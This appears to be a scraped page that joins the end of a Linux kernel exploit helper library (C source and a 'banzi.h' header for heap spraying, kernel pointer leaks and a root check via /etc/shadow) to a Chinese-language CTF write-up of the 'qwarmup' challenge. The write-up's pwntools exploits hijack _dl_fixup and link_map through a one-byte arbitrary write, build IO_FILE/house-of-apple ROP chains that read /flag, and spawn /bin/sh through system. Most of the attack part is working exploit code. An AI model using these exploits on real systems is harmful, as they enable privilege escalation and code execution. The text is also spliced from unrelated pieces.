        pthread_mutex_unlock(&mutex);

        while (1) { };
    }
        
}


void create_poll_thread(int id, size_t size, int timer, bool suspend)
{
    struct t_args *args;

    args = calloc(1, sizeof(struct t_args));

    if (size > PAGE_SIZE)
        size = size - ((size/PAGE_SIZE) * sizeof(struct poll_list));

    args->id = id;
    args->nfds = NFDS(size);
    args->timer = timer;
    args->suspend = suspend;

    pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
}


void join_poll_threads(void)
{
    for (int i = 0; i < poll_threads; i++)
    {
        pthread_join(poll_tid[i], NULL);
        // open("/proc/self/stat", O_RDONLY);
    }
        
    poll_threads = 0;
}


int alloc_key(int id, char *buff, size_t size)
{
	char desc[256] = { 0 };
    char *payload;
    int key;

    size -= sizeof(struct user_key_payload);

    sprintf(desc, "payload_%d", id);

    payload = buff ? buff : calloc(1, size);

    if (!buff)
        memset(payload, id, size);    

    key = add_key("user", desc, payload, size, KEY_SPEC_PROCESS_KEYRING);

    if (key < 0)
	{
		perror("[X] add_key()");
		return -1;
	}
    	
    return key;
}


void free_key(int i)
{
    if(!keys[i]) puts("Invalid keys[i]");
	
    if(keyctl_revoke(keys[i]) < 0 || keyctl_unlink(keys[i], KEY_SPEC_PROCESS_KEYRING) < 0){
        printf("keys[%d]\n ",i);
        perror("=> ");
        // printf("%d\n")
        return -1;
    }
	
    // n_keys--;
}
void revoke_key(int i)
{
    if(!keys[i]) puts("Invalid keys[i]");
	if(keyctl(KEYCTL_REVOKE, keys[i], 0, 0, 0) < 0){
        printf("keys[%d] ",i);
        perror("=> ");
        return -1;
    }
	// keyctl_unlink(keys[i], KEY_SPEC_PROCESS_KEYRING);
    // n_keys--;
}


void free_all_keys(bool skip_corrupted_key)
{
    for (int i = 0; i < n_keys; i++)
    {   
        if (skip_corrupted_key && i == corrupted_key)
            continue;

        free_key(i);
    }

    sleep(1); // GC keys
}


char *get_key(int i, size_t size)
{
	char *data;

	data = calloc(1, size);
	keyctl_read(keys[i], data, size);
    // printf("%s\n",data);
	return data;
}


void alloc_pipe_buff(int i)
{
    if (pipe(pipes[i]) < 0)
    {
        perror("[X] alloc_pipe_buff()");
        return;
    }

    // if (write(pipes[i][1], "XXXXX", 5) < 0)
    // {
    //     perror("[X] alloc_pipe_buff()");
    //     return;
    // }
}


void release_pipe_buff(int i)
{
    if (close(pipes[i][0]) < 0)
    {
        perror("[X] release_pipe_buff()");
        return;
    }

    if (close(pipes[i][1]) < 0)
    {
        perror("[X] release_pipe_buff()");
        return;
    }
}


void alloc_tty(int i)
{
    ptmx[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);

    if (ptmx[i] < 0)
    {
        perror("[X] alloc_tty()");
        exit(1);
    }
}


void free_tty(int i)
{
    close(ptmx[i]);
}


void alloc_seq_ops(int i)
{
    seq_ops[i] = open("/proc/self/stat", O_RDONLY);

    if (seq_ops[i] < 0)
    {
        perror("[X] spray_seq_ops()");
        exit(1);
    }
}


void free_seq_ops(int i)
{
    close(seq_ops[i]);
}


int leak_kernel_pointer(int kid)
{
    uint64_t *leak;
    char *key;

    key = get_key(kid, 0xfff0);
    leak = (uint64_t *)key;

    // if (is_kernel_pointer(*leak) && (*leak & 0xfff) == 0x520)
    // {
    //     // corrupted_key = i;
    //     // proc_single_show = *leak;
    //     // kernel_base = proc_single_show - 0xffffffff813275c0;

    //     // printf("[+] Corrupted key found: keys[%d]!\n", corrupted_key);
    //     // printf("[+] Leaked proc_single_show address: 0x%llx\n", proc_single_show);
    //     // printf("[+] Kernel base address: 0x%llx\n", kernel_base + 0xffffffff00000000);
    //     kernel_base = 
        
    //     return 0;
    // }
    for (int i = 0; i < 0xfff0/sizeof(uint64_t); i++)
    {
        // if(is_heap_pointer(leak[i])){
        //     printf("heap_%d ==> 0x%llx\n",i,leak[i]);
        // }
        if (is_kernel_pointer(leak[i]) && (leak[i] & 0xfff) == 0x520)
        {   
            // if (leak[i + 2] == leak[i + 3] && leak[i + 2] != 0)
            // {
            //     target_object = leak[i];
            //     logi("Leaked kmalloc-1024 object: 0x%llx\n", target_object);
            //     return 0;
            // }
            uint64_t kernel_base1 = leak[i] - 0x1ab2520;
            logi("get kernel_base: 0x%llx",kernel_base1);
            return kernel_base1;
        }
    }

    return -1;
}


int leak_heap_pointer(int kid)
{
    uint64_t *leak;
    char *key;

    key = get_key(kid, 0xfff0);
    // hexdump(key,0x100);
    leak = (uint64_t *)key;

    for (int i = 0; i < 0xfff0/sizeof(uint64_t); i++)
    {
        // if(is_heap_pointer(leak[i])){
        //     printf("heap_%d ==> 0x%llx\n",i,leak[i]);
        // }
        if (is_heap_pointer(leak[i]) && (leak[i] & 0xff) == 0x00)
        {   
            if (leak[i + 2] == leak[i + 3] && leak[i + 2] != 0)
            {
                target_object = leak[i];
                logi("Leaked kmalloc-1024 object: 0x%llx", target_object);
                return 0;
            }
        }
    }

    return -1;
}


bool check_root()
{
	int fd;
    
    if ((fd = open("/etc/shadow", O_RDONLY)) < 0)
        return false;
        
    close(fd);
    
    return true;
}

banzi.h

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <keyutils.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <signal.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <linux/genetlink.h>
#include <linux/if_packet.h>
#include <linux/netlink.h>
#include <linux/openvswitch.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <sched.h>
#include <stdint.h>
#include <sys/utsname.h>
// #define DEBUG 1
#define COLOR_GREEN "\033[32m"
#define COLOR_RED "\033[31m"
#define COLOR_YELLOW "\033[33m"
#define COLOR_DEFAULT "\033[0m"
#define ELEM_CNT(x) (sizeof(x) / sizeof(x[0]))
#define SYS_SETRESUID_OFFSET (0xd81d0)
#define PREFIX_BUF_LEN (16)
#define logd(fmt, ...) dprintf(2, "[*] %s:%d " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__)
#define logi(fmt, ...) dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logw(fmt, ...) dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define loge(fmt, ...) dprintf(2, COLOR_RED "[-] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define die(fmt, ...)                      \
    do {                                   \
        loge(fmt, ##__VA_ARGS__);          \
        loge("Exit at line %d", __LINE__); \
        write(sync_pipe[1], "F", 1);       \
        exit(1);                           \
    } while (0)

int sync_pipe[2];
#ifdef DEBUG
#define debug(...) printf(__VA_ARGS__)
#else
#define debug(...) do {} while (0)
#endif

#define HEAP_MASK 0xffff000000000000
#define KERNEL_MASK 0xffffffff00000000

#define PAGE_SIZE 4096
#define MAX_KEYS 199
#define N_STACK_PPS 30
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16
#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS);
pthread_t poll_tid[0x1000];
size_t poll_threads;
pthread_mutex_t mutex;
uint64_t usr_cs, usr_ss, usr_rflags;
uint64_t proc_single_show;
uint64_t target_object;
uint64_t kernel_base;

int pipes[0x1000][2];
int seq_ops[0x10000];
int ptmx[0x1000];
int fds[0x1000];
int keys[0x1000];
int corrupted_key;
int n_keys;
int fd;
int s;


struct t_args
{
    int id;
    int nfds;
    int timer;
    bool suspend;
};


struct rcu_head
{
    void *next;
    void *func;
};


struct user_key_payload
{
    struct rcu_head rcu;
    unsigned short	datalen;
    char *data[];
};
void init_namespace(void);
void set_cpu_affinity(int cpu_n, pid_t pid);
void packet_socket_rx_ring_init(int s, unsigned int block_size,
                                unsigned int frame_size, unsigned int block_nr,
                                unsigned int sizeof_priv, unsigned int timeout);


int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
                        unsigned int block_nr, unsigned int sizeof_priv, int timeout);

int pagealloc_pad(int size, int count);

struct poll_list
{
    struct poll_list *next;
    int len;
    struct pollfd entries[];
};



bool is_kernel_pointer(uint64_t addr);


bool is_heap_pointer(uint64_t addr);


void __pause(char *msg);


void save_state();
int randint(int min, int max);
void assign_to_core(int core_id);
void assign_thread_to_core(int core_id);
void init_fd(int i);
void *alloc_poll_list(void *args);
void create_poll_thread(int id, size_t size, int timer, bool suspend);
void join_poll_threads(void);
int alloc_key(int id, char *buff, size_t size);
void free_key(int i);
void free_all_keys(bool skip_corrupted_key);
char *get_key(int i, size_t size);
void alloc_pipe_buff(int i);
void release_pipe_buff(int i);
void alloc_tty(int i);
void free_tty(int i);
void alloc_seq_ops(int i);
void free_seq_ops(int i);
int leak_kernel_pointer(int kid);
int leak_heap_pointer(int kid);
bool check_root();
// typedef struct
// {
//     int64_t idx;
//     uint64_t size;
//     char *buf;    
// }user_req_t;

// struct tpacket_req {
//     unsigned int    tp_block_size;
//     unsigned int    tp_block_nr;
//     unsigned int    tp_frame_size;
//     unsigned int    tp_frame_nr;
// };

// enum tpacket_versions {
//     TPACKET_V1,
//     TPACKET_V2,
//     TPACKET_V3,
// };
// #define PACKET_VERSION 10
// #define PACKET_TX_RING 13
#define ISO_SLAB_LIMIT 8
#define INITIAL_PAGE_SPRAY 500
typedef struct
{
    bool in_use;
    int idx[ISO_SLAB_LIMIT];
}full_page;

enum spray_cmd {
    ALLOC_PAGE,
    FREE_PAGE,
    EXIT_SPRAY,
};

// typedef struct
// {
//     enum spray_cmd cmd;
//     int32_t idx;
//     int32_t size;
//     int32_t n;
// }ipc_req_t;

int shmid[0x1000];
void *shmaddr[0x1000];

void alloc_shm(int i);
int rootfd[2];
int sprayfd_child[2];
int sprayfd_parent[2];
// int socketfds[INITIAL_PAGE_SPRAY];
// int alloc_pages_via_sock(uint32_t size, uint32_t n);

// void spray_comm_handler();

// void send_spray_cmd(enum spray_cmd cmd, int idx,int n);
// void unshare_setup(uid_t uid, gid_t gid);
void errExit(char *msg);
void registerUserfault(void *fault_page,void *handler);

int spray_sendmsg(char *buf,int size,int count);
void hexdump(unsigned char *buff, size_t size);
struct msg_msg {
  uint64_t m_list_next;
  uint64_t m_list_prev;
  uint64_t m_type;
  uint64_t m_ts;
  uint64_t next;
  uint64_t security;
};

struct msg_msgseg {
  uint64_t next;
};
struct {
  long mtype;
  char mtext[0x4000];
} msgbuf;
int msgqid[0x10000];
int add_msg(int msqid, const void *msgp, size_t msgsz);

int show_msg(int msqid, void *msgp,size_t msgsz,long msgtyp);

int free_msg(int msqid, void *msgp, size_t msgsz, long msgtyp);
int msg_get();
void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
                   uint64_t m_list_prev, uint64_t m_type,uint64_t m_ts, uint64_t next);
void build_msg(int num);

qwarmup复现

漏洞点

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230705002954437.png

可以进行申请堆块的偏移的任意一字节写。当size为0的时候可以一直调用

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230704222135485.png

漏洞利用

分析

写入完就进行了write函数的调用,由于是第一次调用因此会进入dl_fixup,分析一下dl_fixup

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0x7fadf69069f0 <_dl_fixup>:	endbr64 
   0x7fadf69069f4 <_dl_fixup+4>:	push   rbx
   0x7fadf69069f5 <_dl_fixup+5>:	mov    r10,rdi
   0x7fadf69069f8 <_dl_fixup+8>:	mov    esi,esi
   0x7fadf69069fa <_dl_fixup+10>:	lea    rdx,[rsi+rsi*2]
   0x7fadf69069fe <_dl_fixup+14>:	sub    rsp,0x10
   0x7fadf6906a02 <_dl_fixup+18>:	mov    rax,QWORD PTR [rdi+0x68]
   0x7fadf6906a06 <_dl_fixup+22>:	mov    rdi,QWORD PTR [rax+0x8]
   0x7fadf6906a0a <_dl_fixup+26>:	mov    rax,QWORD PTR [r10+0xf8]
   0x7fadf6906a11 <_dl_fixup+33>:	mov    rax,QWORD PTR [rax+0x8]
   0x7fadf6906a15 <_dl_fixup+37>:	lea    r8,[rax+rdx*8]
   0x7fadf6906a19 <_dl_fixup+41>:	mov    rax,QWORD PTR [r10+0x70]
   0x7fadf6906a1d <_dl_fixup+45>:	mov    rsi,QWORD PTR [r8+0x8]
   0x7fadf6906a21 <_dl_fixup+49>:	mov    rbx,QWORD PTR [r8]
   0x7fadf6906a24 <_dl_fixup+52>:	mov    rax,QWORD PTR [rax+0x8]
   0x7fadf6906a28 <_dl_fixup+56>:	mov    rcx,rsi
   0x7fadf6906a2b <_dl_fixup+59>:	shr    rcx,0x20
   0x7fadf6906a2f <_dl_fixup+63>:	lea    rdx,[rcx+rcx*2]
   0x7fadf6906a33 <_dl_fixup+67>:	lea    rdx,[rax+rdx*8]
   0x7fadf6906a37 <_dl_fixup+71>:	mov    rax,QWORD PTR [r10]
=> 0x7fadf6906a3a <_dl_fixup+74>:	mov    QWORD PTR [rsp+0x8],rdx
   0x7fadf6906a3f <_dl_fixup+79>:	add    rbx,rax
   0x7fadf6906a42 <_dl_fixup+82>:	cmp    esi,0x7
   0x7fadf6906a45 <_dl_fixup+85>:	jne    0x7fadf6906b80 <_dl_fixup+400>

add rbx,rax是写入的位置,假设我们可以控制rbx或者rax那么我们就可以控制write地址写入的位置。

可以看一下rbx的赋值过程

mov rbx,QWORD PTR [r8]=>lea r8,[rax+rdx*8]=>mov rax,QWORD PTR [rax+0x8]=>mov rax,QWORD PTR [r10+0xf8]

所以我们如果想控制rbx,那么就需要控制r10 + 0xf8的地方这样rbx =[/[/[r10 + 0xf8] + 0x8/]/],只能说不太好控制,但是也不是不可控制,然后再看rax

mov rax,QWORD PTR [r10],可以看到就是将r10里面的值给rax进行赋值。而r10就是我们的struct link_map *l,此值在libc里面,因此我们可以申请一个大的堆块,此时就会通过mmap来申请一块内存,这块内存紧挨着libc,这样就可以通过我们的任意地址写将该值里面的值进行覆盖,可以写入的东西在相对于got的0~0xff的位置处,因此可以通过错位的方法将size覆盖为0,从而无限制的调用任意地址写

修改rel_addr控制写入位置

首先我们需要得出我们申请的地址,建议关闭aslr来调试

0x7ffff7cbd010

然后得出l的地址

0x7ffff7ffe220

两者之间的差值0x341210

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230704224713556.png

可以看到成功写为了0x70,后续成功将该值写为了write函数的真实地址

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230704224829600.png

在后续赋值校验的时候发现成功进行了多次写入

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230704224955714.png

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230704225007386.png

构造任意函数调用

我们再次观察_dl_fixup,通过调用_dl_lookup_symbol_x来获取write函数的真实地址,而其函数的第一个参数时对应的函数名称,如果我们可以控制函数名称那么我们就可以调用任意函数,这里就有两个思路

  1. 直接修改rdi里面的字符串的值,但是我们只能写入一个字节因此就不行
  2. 控制该地址
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
0x7ffff7fdaaaf <_dl_fixup+191>    mov    edx, dword ptr [rdx]
   0x7ffff7fdaab1 <_dl_fixup+193>    lea    r11, [rsp + 8]
   0x7ffff7fdaab6 <_dl_fixup+198>    mov    r9d, 1
   0x7ffff7fdaabc <_dl_fixup+204>    mov    rsi, r10
  0x7ffff7fdaabf <_dl_fixup+207>    mov    rcx, qword ptr [r10 + 0x398]
   0x7ffff7fdaac6 <_dl_fixup+214>    push   0
   0x7ffff7fdaac8 <_dl_fixup+216>    push   rax
   0x7ffff7fdaac9 <_dl_fixup+217>    add    rdi, rdx
   0x7ffff7fdaacc <_dl_fixup+220>    mov    rdx, r11
   0x7ffff7fdaacf <_dl_fixup+223>    call   _dl_lookup_symbol_x 

还是看一些rdi是怎么被赋值的

add rdi, rdx

rdx倒叙=>mov edx, dword ptr [rdx]=>lea rdx, [rax + rdx*8]=>lea rdx, [rcx + rcx*2]=>mov rax, qword ptr [rax + 8]=>mov rax, qword ptr [r10 + 0x70]

rdi正序=>mov rax, qword ptr [rdi + 0x68]=>mov rdi, qword ptr [rax + 8]

根据复杂度我们先看看rdi可不可控,rdi + 0x68中rdi是l,所以我们如果想要控制赋值之后的rdi,必须要将其rdi + 0x68的地址进行修改,而我们目前只能做libc上的任意地址写,因此需要找一个[rax + 0x8]是一个libc的位置,暂时只能找到这一个,但是是ld,凑活用着先

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230704231837863.png

因此我们可以将rdi + 0x68里面的值通过低位修改修改为该值,然后再用libc任意地址写,将该地址里面的内容写入我们要调用的函数。

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230704234502247.png

泄露libc && orw

可以通过调用IO_flush_all来刷新流,通过stdout来泄露出libc。

然后通过IO_FILE_ATTACK来orw出flag。io部分不细说了,很多方法,io_file_jumps再我patch的版本是可写的,当然也可以选择house of apple的方法来搞。修改io_stderr的chain字段为我们可控地址,然后再可控地址上面伪造链子

exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'
def arw(addr,payload):
    payload = list(payload)
    print(payload)
    for i in range(len(payload)):
        sleep(0.01)
        p.send(p64(addr + i))
        p.send(p8(ord(payload[i])))
def exp():
    # context.terminal = ['tmux', 'splitw', '-h']
    #context.log_level = "debug"
    #attach(p)
    p.send(p32(0x100000))
    p.send(p64(0x341210))
    p.send(p8(0x70))
    #0x7ffff7ffe220
    arw(0x2f7750,p64(0xfbad1800) + p64(0)*3 + p8(0xc8))
    arw(0x341122-0x10,"_IO_flush_all")
    arw(0x341278,p8(0xd0))
    libc_base = l64() - libc.sym["_IO_2_1_stdin_"]
    lg("libc_base",libc_base)
    free_hook = libc_base + libc.sym['__free_hook']
    free_hook1 = free_hook & 0xfffffffffffff000
    pop_rsp = 0x000000000002d77b + libc_base
    pop_rdi = 0x000000000002daa2 + libc_base
    pop_rsi = libc_base + 0x0000000000037bfa
    pop_rdx = libc_base + 0x00000000000876e9
    pop_rax = libc_base + 0x00000000000446b0
    syscall = libc_base + 0x0000000000088376
    leaver = 0x0000000000052d62 + libc_base
    arw(0x341278,p8(0x90))
    f1 = FileStructure()
    f1.flags = 0
    f1.vtable = libc_base + libc.sym["_IO_file_jumps"] - 0x540 #IO_wfile_jumps
    f1._lock = 0x1f5730 + libc_base #_IO_stdfile_2_lock
    addr = free_hook1 #可控地址
    f1._wide_data = addr + 0xe0 
    f1._IO_read_ptr = pop_rsp
    f1._IO_read_end = addr + 0xe0 + 0xe8 #rop链子
    f1._IO_write_ptr = 0x10
    free_hook1 = (libc_base + libc.sym["__free_hook"]) & 0xfffffffffffff000
    f1 = bytes(f1)
    data = flat({
        0:{
            0:f1,
        },
        0xe0:{#addr
            0x68:[leaver],#call
            0xe0:[addr+ 0xe0],#[[addr + 0xe0] + 0x68]->call
            0xe8:[pop_rdi,0,pop_rsi,free_hook1 + 0x500,pop_rdx,0x1000,0x1000,pop_rax,0,syscall,pop_rdi,free_hook1+0x500,pop_rsi,0,pop_rax,2,syscall,pop_rdi,3,pop_rsi,free_hook1,pop_rdx,50,50,pop_rax,0,syscall,pop_rdi,1,pop_rax,1,syscall]
        }
    },filler = '\x00')
    arw(0x2fdff0,data)
    arw(0x2f76d8,p64(free_hook1))
    arw(0x341278,p8(0xd0))
    # attach(p)
    p.sendline("/flag\x00")
    p.interactive()
if __name__ == "__main__":
    binary = 'qwarmup'
    elf = ELF('qwarmup')
    context.binary = binary
    libc = elf.libc
    if(len(sys.argv) == 3):
        p = remote(sys.argv[1],sys.argv[2])
    else:
        p = process(binary)
    l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
    l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
    sla = lambda a,b  :p.sendlineafter(str(a),str(b))
    sa  = lambda a,b  :p.sendafter(str(a),str(b))
    lg  = lambda name,data : p.success(name + ": 0x%x" % data)
    se  = lambda payload: p.send(payload)
    rl  = lambda      : p.recv()
    sl  = lambda payload: p.sendline(payload)
    ru  = lambda a     :p.recvuntil(str(a))
    exp()
"""
0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL
  rbp == NULL || (u16)[rbp] == NULL

0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xebcf5 execve("/bin/sh", r10, rdx)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [rdx] == NULL || rdx == NULL

0xebcf8 execve("/bin/sh", rsi, rdx)
constraints:
  address rbp-0x78 is writable
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
"""

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230705004224280.png

house of apple 板子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    f1 = FileStructure()
    f1.flags = 0
    f1.vtable = libc_base + libc.sym["_IO_file_jumps"] - 0x540 #IO_wfile_jumps
    f1._lock = 0x1ee4b0 + libc_base #_IO_stdfile_2_lock
    addr = heap_addr + 0x2a0 #可控地址
    f1._wide_data = addr + 0xe0 
    f1._IO_read_ptr = pop_rsp
    f1._IO_read_end = addr + 0xe0 + 0xe8 #rop链子
    f1._IO_write_ptr = 0x10
    f1 = bytes(f1)
    free_hook1 = (libc_base + libc.sym["__free_hook"]) & 0xfffffffffffff000
    data = flat({
        0:{
            0:f1,
        },
        0xe0:{#addr
            0x68:[leaver],#call
            0xe0:[addr+ 0xe0],#[[addr + 0xe0] + 0x68]->call
            0xe8:[pop_rdi,0,pop_rsi,free_hook1,pop_rdx,0x1000,0x1000,pop_rax,0,syscall,pop_rdi,free_hook1,pop_rsi,0x1000,pop_rdx,0x7,0x7,pop_rax,10,syscall, free_hook1]
        }

        
    },filler = '\x00')

总结

修改[l]的地址可以控制写入的位置

修改[l + 0x68]可以控制解析函数时候的第一个参数位置

延申=> house of blindness

如果将write函数去掉该如何做呢?

参考链接

很牛的一个方法,可以链子,搞得dl_fini里面的东西,可以四个链子貌似

1
2
3
4
5
6
7
8
struct link_map{
	char *l_addr;
	char *addr;
	char *addr;
	link_map *next_addr;
	link_map *prev_addr;
	link_map *corent_addr;
}

只能第一个

但是缺点是在ld,远程可能需要一定的运气成分在里面

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230705090658521.png

例子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
//gcc poc.c -o poc
#include<stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main(){
    unsigned int size = 0;
    unsigned int idx = 0;
    char *addr = NULL;
    unsigned int content = 0;
    read(0,&size,0x4);
    addr = malloc(size);
    while(1){
        read(0,&idx,0x8);
        if(idx == 0x1234){
            break;
        }
        read(0,&content,0x1);
        addr[idx] = content;
    }
    
}

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230705084943999.png

libc版本为:Ubuntu GLIBC 2.31-0ubuntu9.10

可以获取shell的exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#context.log_level = 'debug'
def write(addr,payload):
    payload = list(payload)
    for i in range(len(payload)):
        p.send(p64(addr + i))
        p.send(p8(ord(payload[i])))
def exit():
    p.send(p64(0x1234))
def exp():
    #context.terminal = ['tmux', 'splitw', '-h']
    #context.log_level = "debug"
    p.send(p32(0x100000)) #触发mmap使得申请的堆块和libc紧挨着
    # p.send(p64(0x340290))
    # p.send(p8(0))
    write(0x346290,p64(0)) #使得DT_FINI_ARRAY为NULL
    write(0x346228,p16(0x7e80-0x8)) #劫持DT_FINI指向DT_DEBUG
    write(0x346180,p64(0xffffffffffe0d130)) #将l_addr改为DT_DEBUg和system函数的差值
    write(0x345958,"/bin/sh;") #劫持参数
    # attach(p,"b _dl_fini")
    # attach(p)
    exit()
    p.interactive()
if __name__ == "__main__":
    binary = '1'
    elf = ELF('1')
    context.binary = binary
    libc = elf.libc
    if(len(sys.argv) == 3):
        p = remote(sys.argv[1],sys.argv[2])
    else:
        p = process(binary)
    l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
    l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
    sla = lambda a,b  :p.sendlineafter(str(a),str(b))
    sa  = lambda a,b  :p.sendafter(str(a),str(b))
    lg  = lambda name,data : p.success(name + ": 0x%x" % data)
    se  = lambda payload: p.send(payload)
    rl  = lambda      : p.recv()
    sl  = lambda payload: p.sendline(payload)
    ru  = lambda a     :p.recvuntil(str(a))
    exp()
"""
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
"""

大概的意思就是下面的这个poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# disable fini array from exec
write(ld.address + link_map + l_info + 8 * DT_FINI_ARRAY, p64(0))

# overwrite l_info[DT_FINI]'s lsb so that it points to _r_debug
write(ld.address + link_map + l_info + 8 * DT_FINI, b"\xb8")

# overwrite l_addr with offset to bring _r_debug to system
write(
    ld.address + link_map,
    p64(libc.symbols["system"] - ld.symbols["_r_debug"], signed=True),
)

# fill _dl_load_lock with /bin/sh
write(ld.symbols["_rtld_global"] + _dl_load_lock, b"/bin/sh\x00")